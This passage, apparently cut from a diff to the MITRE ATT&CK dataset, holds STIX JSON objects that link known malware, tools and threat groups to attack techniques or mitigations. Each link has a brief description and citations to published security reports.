"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79672f1b-d7a9-494e-9c0b-82eadb88389a", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.462Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can download additional files for execution on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T18:44:05.087Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--40ae8100-d02c-445a-acf5-8e30f04ec6c0", + "external_references": [ + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ], + "modified": "2019-04-16T14:30:35.247Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can list running processes on the system.", + "type": "relationship", + "created": "2019-01-29T19:09:26.736Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e29fa4df-f835-48e1-a83b-279818993793", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.339Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) creates several tasks for later execution to continue persistence on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:36:02.746Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--185a72dd-e151-4eba-81f4-c3eeaa67873a", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.586Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the net view command on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:55:48.168Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e576576-bcd8-42ca-aa0a-8e3e24aaeafc", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-26T16:10:42.525Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) can use ports 443 and 53 for C2 communications via malware called TClient.", + "type": "relationship", + "created": "2019-01-29T20:17:49.272Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f3a6218e-35e3-4897-9b3b-0554a51dce43", + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "modified": "2019-06-30T22:44:28.109Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) saves itself with a leading \".\" to make it a hidden file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd7dce44-be74-4d8e-b9e4-efcd77b8a29b", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect process information by running tasklist on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some variants of [FakeM](https://attack.mitre.org/software/S0076) use SSL to communicate with C2 servers.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--090813dc-b370-42e1-a211-4d9e3247968a", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Power Loader](https://attack.mitre.org/software/S0177) overwrites Explorer\u2019s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a", + "external_references": [ + { + "source_name": "MalwareTech Power Loader Aug 2013", + "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", + "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html" + }, + { + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013", + "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", + "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) uses HTTP over SSL to communicate commands with the control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1be07482-c5ed-42f9-8be1-5dbb44152461", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.183Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [TYPEFRAME](https://attack.mitre.org/software/S0263) variant can force the compromised system to function as a proxy server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83e001e3-95d3-43d9-9f8c-8b954686287a", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) has the ability to remove Registry entries that it created during execution.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip. It can also obtain browsing history, cookies, and plug-in information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--caef212a-7ed2-4cb9-a155-7ce79a9784b8", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "modified": "2019-06-24T19:15:06.424Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) is obscured using XOR encoding and appended to a valid GIF file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c", + "external_references": [ + { + "source_name": "FireEye Clandestine Wolf", + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + }, + { + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has bypassed UAC.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b4fd69e-a3c6-4721-9aed-d8235a93672e", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.707Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) identifies files with certain extensions and copies them to a directory in the user's profile.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has obfuscated code using base64 and gzip compression.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2c7d090e-09a1-4a45-baf4-b13790b483f6", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.198Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:40:27.475Z", + "type": "relationship", + "id": "relationship--dd21c8fe-caf8-40df-b049-787ba465eef7", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.024Z", + "source_ref": "course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the victim's operating system version and keyboard layout and sends the information to the C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--272068a3-47e3-42d6-8772-71d39c1976c3", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.187Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a0500766-a6ba-4672-b7fc-2a712cd0cfca", + "external_references": [ + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Commands under net user can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate user accounts.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--15f74597-d92d-406f-9941-c0dfef3cb609", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.501Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT12](https://attack.mitre.org/groups/G0005) has used [RIPTIDE](https://attack.mitre.org/software/S0003), a RAT that uses HTTP to communicate.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d", + "external_references": [ + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[adbupd](https://attack.mitre.org/software/S0202) can run a copy of cmd.exe.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d9f924ec-aa93-48fd-aef6-2e545410f2d0", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used PowerShell on victim systems to download and run payloads after exploitation.", + "type": "relationship", + "created": "2017-05-31T21:33:27.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--897dec92-49a8-4edd-8ed2-8082f134e42b", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.380Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) exploits CVE-2016-4117 to allow an executable to gain escalated privileges.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dbccbeab-26c9-476e-b529-c193f9796cbc", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-10T12:14:32.226Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6f6d6ccc-ac71-42b6-ab14-d02914d05717", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) will timestomp any files or payloads placed on a target machine to help them blend in.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.232Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses a Launch Agent to persist.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dbe32c8c-4bb0-44da-9350-699b09464859", + "external_references": [ + { + "source_name": "synack 2016 review", + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from FTP clients.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a628def4-31a4-475e-b4b8-615534d8d585", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.508Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": 